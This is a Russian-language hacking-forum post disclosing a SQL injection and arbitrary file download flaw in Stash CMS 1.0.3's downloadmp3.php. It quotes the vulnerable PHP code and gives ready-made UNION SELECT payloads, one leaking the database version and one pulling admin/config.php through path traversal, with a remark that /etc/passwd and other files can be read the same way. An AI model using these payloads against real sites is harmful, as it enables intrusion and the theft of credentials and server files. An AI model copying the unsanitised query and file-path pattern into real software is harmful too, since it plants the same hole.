Показать сообщение отдельно

  #294  
Старый 03.01.2010, 02:00
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию

Product: Stash CMS
Version: 1.0.3
Author: http://sourceforge.net/projects/nice-stash/

SQL-inj & Download any files.


File: downloadmp3.php
PHP код:
function force_download ($data, $name) { 
    
header("Content-Length: " . filesize($data));
    
header('Content-Type: audio/mp3');
    
header('Content-Disposition: attachment; filename='.$name);
    
readfile($data); 
} 

if(isset(
$_GET['download'])) {
    
$mp3id = $_GET['download'];
    
$query = "SELECT * FROM ".TBPREFIX."_mp3 WHERE mp3_id = '$mp3id'";
    
$result = $database->sqlQuery($query);
    if(
$result) {
        foreach(
$result as $result) {
            
$filename = $result['mp3_filename'];
        }
        
$filepath = UPLOADSPATH.'/mp3/'.$filename;
        
force_download($filepath, $filename);
    }
} 
$database->sqlQuery
PHP код:
function sqlQuery($query, $return = TRUE, $complex = TRUE){
        
        
$this->result_set = mysql_query($query,$this->conn)or die("Query error: ". mysql_error());

        if(
$return){
        
            
$query_results = array();
            
$i = 0;
        
            while(
$row = mysql_fetch_array($this->result_set, MYSQL_ASSOC)){
            
                foreach(
$row as $key => $value){
            
                    
$query_results[$i][$key] = $value;
                    
                }
            
                
$i++;
            
            }

            if(
count($query_results) == 1 && $complex == FALSE){
                
$tmp_result = array();
                
$tmp_result = $query_results['0'];
                
$query_results = array();
                
$query_results = $tmp_result;
            }
                
            
mysql_free_result($this->result_set);
            return 
$query_results;
        
        } elseif(!
$return && !$this->result_set){
        
            
mysql_free_result($this->result_set);
            return 
FALSE;
        
        } elseif(!
$return && $this->result_set){
        
            return 
TRUE;
            
        }
        
    } 
Target: 3'+union+select+1,2,3,4,5,version%28%29+--+
Вывод в ошибке filesize();

Если скулю крутить лень,можно все сделать проще.
Target: ?download=3'+union+select+1,2,3,4,5,'../../admin/config.php'+--+
Файл который вам предложит скачать браузер - конфиг сервера,качать можно произвольные файлы,хоть etc/passwd,главное подобрать пути.
 
Ответить с цитированием